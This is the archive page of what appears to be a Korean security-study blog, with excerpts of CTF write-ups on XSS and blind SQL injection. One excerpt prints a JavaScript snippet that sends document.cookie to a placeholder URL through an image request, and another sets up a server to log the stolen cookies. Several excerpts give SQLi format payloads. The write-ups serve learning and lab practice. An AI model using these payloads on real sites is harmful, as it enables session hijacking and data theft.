일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 |
- php
- 게시판 만들기
- 웹 해킹
- XSS
- sql injection
- cookie 탈취
- 과제
- CTF
- lord of sql injection
- csrf
- 증적 사진
- blind sql injection
- 모의해킹
- MySQL
- 보고서
- 보안 패치
- Error based sql injection
- sql injection point
- 문제 풀이
- 웹 개발
- file upload
- 로그인페이지
- Los
- union sql injection
- JS
- 세션
- FridaLab
- Python
- 로그인
- 웹개발
- Today
- Total
목록전체 글 (127)
Almon Dev

ctf 문제 풀이 XSS 1 풀이1. XSS 포인트 찾기 회원가입 기능회원가입 때 서버에 저장된 아이디를 index.php에서 가져와 출력합니다.아이디에 와 같은 html 구조를 변경할 수 있는 특수문자가 가능하다면스크립트를 삽입할 수 있습니다. 를 아이디에 넣어서 회원가입에는 성공했지만로그인에는 실패했습니다. 게시판 CRUD 기능글쓰기에서 제목 부분에서 를 따로 치환하지 않고 출력하는 것을 확인했습니다.이런 경우 글을 읽는 모든 사람의 브라우저에서 악성 스크립트가 실행되는 Stored XSS가 가능해 보입니다. 2. 스크립트 삽입하기XSS 포인트를 찾았으니 삽입할 스크립트를 만들 차례입니다.관리자의 쿠키를 탈취하는 것이 목표로 HTTP를 통해 제 서버로 전송하도록 하겠습니다. 이미지 태그를 생성해서 ..

Request Logger 란웹서버로 들어오는 HTTP 요청을 기록해 주는 기능입니다. 만드는 이유XSS로 탈취한 쿠키를 HTTP 요청으로 제 서버로 보내 기록하고 확인하기 위해서 만들고자 합니다. Request Logger 구현과정 서버 준비HTTP 요청을 수신할 외부 ip를 가진 서버가 필요합니다.저는 오라클 클라우드의 무료버전을 이용하였습니다.https://www.oracle.com/kr/cloud/free/ 클라우드 서비스 무료 이용Oracle Cloud Free Tier는 기업에게 무제한으로 사용할 수 있는 상시 무료 클라우드 서비스를 제공합니다.www.oracle.com 웹 서버 구축서버에 설치된 linux에 Apache2와 php를 설치해 웹서버를 구축하였습니다.// 패키지 업데이트su..
10주 차 정리 XSS (Cross-site Scripting) Dom Based XSS파라미터를 브라우저에서 조립하는 것을 이용해 스크립트를 실행하는 기법입니다.=> Reflected와는 다르게 서버 응답에 포함되어 있지 않습니다.ex) js를 이용한 태그 생성 및 수정 XSS 활용xss 취약점이 있을 경우 키로거, 세션 탈취, 악성 페이지로 리다이렉션 등이 있을 수 있습니다. 1. 세션 탈취let cookieData = document.cookie;let img = new Image();img.src = '쿠키를 받을 url?cookie=' + img document.cookie를 이용해서 피해자의 쿠키를 cookieData에 저장한 뒤이미지 태그를 생성해서 src를 설정해 해당 url에 GET ..
9주 차 과제 XSS CTF 보고서
9주 차 정리 XSS (Cross-site Scripting)스크립트를 삽입해서 클라이언트 측 브라우저에서 실행하는 기법=> HTML, CSS, JS 삽입 Stored XSS스크립트를 서버에 저장해서 사이트에 접속하는 유저의 브라우저에서 실행하는 기법=> 데이터가 저장되는 곳과 출력되는 곳이 다를 수 있음ex) 저장되는 곳 : 회원가입, 게시글 작성, 댓글 작성출력되는 곳 : 마이페이지, 프로필, 게시글 확인, 댓글 확인 Stored XSS Process 1. 작성한 데이터가 화면에 출력되는지 확인=> 브라우저가 아니라 Burp를 이용해서 확인하기 2. 특수문자가 가능한지 확인=> XSS에 사용될만한 특수문자 가 적용되는지 확인 3. JS 삽입해 보기과 같은 보여주기용 증명 스크립트를 삽입해 보기=> ..

ctf 문제 풀이 SQL Injection Point 3 SQLI Pointhttps://almon.tistory.com/47에서 분석했던 기능은 그대로입니다.2번 문제부터 변경되었던 mypage.php의 쿠키를 사용하는 로직이 돌아왔습니다.이번에는 sql문이 에러가 날 때 DB Error 메시지가 나오도록 설정이 되어있습니다. 게시글 id를 get 메서드로 요청하여 게시글을 불러오는 페이지는 여전히 sql injection이 가능합니다. mypage.php 공격 format 만들기기본 format : tester' and (select 1 union select 2 where (조건문)) and '1' = '1substring((sql), [index], 1) => sql의 결과를 한 글자 추출합니다..

ctf 문제 풀이 SQL Injection Point 3 SQLI Pointhttps://almon.tistory.com/47에서 분석했던 기능이 거의 그대로입니다.2번 문제와 마찬가지로 mypage.php의 쿠키를 이용한 sql injection은 불가능합니다. 게시판의 검색 기능을 확인해 보면 sort 파라미터가 추가되어 있는데 아마도 order by절에 사용되는 칼럼명인 듯합니다.예상 sql : select * from board where user_id = '[session]' and [option_val] = '[board_result]' order by [sort]sql injection이 가능해 보이는 곳은 option_val와 sort부분입니다.board_result는 '를 필터링하는 ..

ctf 문제 풀이 SQL Injection Point 2 SQLI Pointhttps://almon.tistory.com/47에서 분석했던 기능이 거의 그대로인 것 같습니다.차이점은 cookie를 사용하던 mypage.php에서 session을 사용하는 것으로 보입니다. mypage.php의 sqli point가 막혔기 때문에notice_list.php의 게시판 검색기능의 sqli point를 사용하도록 하겠습니다.참과 거짓 구별 : 거짓일 때 "alert('존재하지 않습니다.')"가 응답에 포함되어 있습니다. 공격 format 만들기sql : select * from board where user_id='[session]' and [option_val] = '[board_result]'기본 form..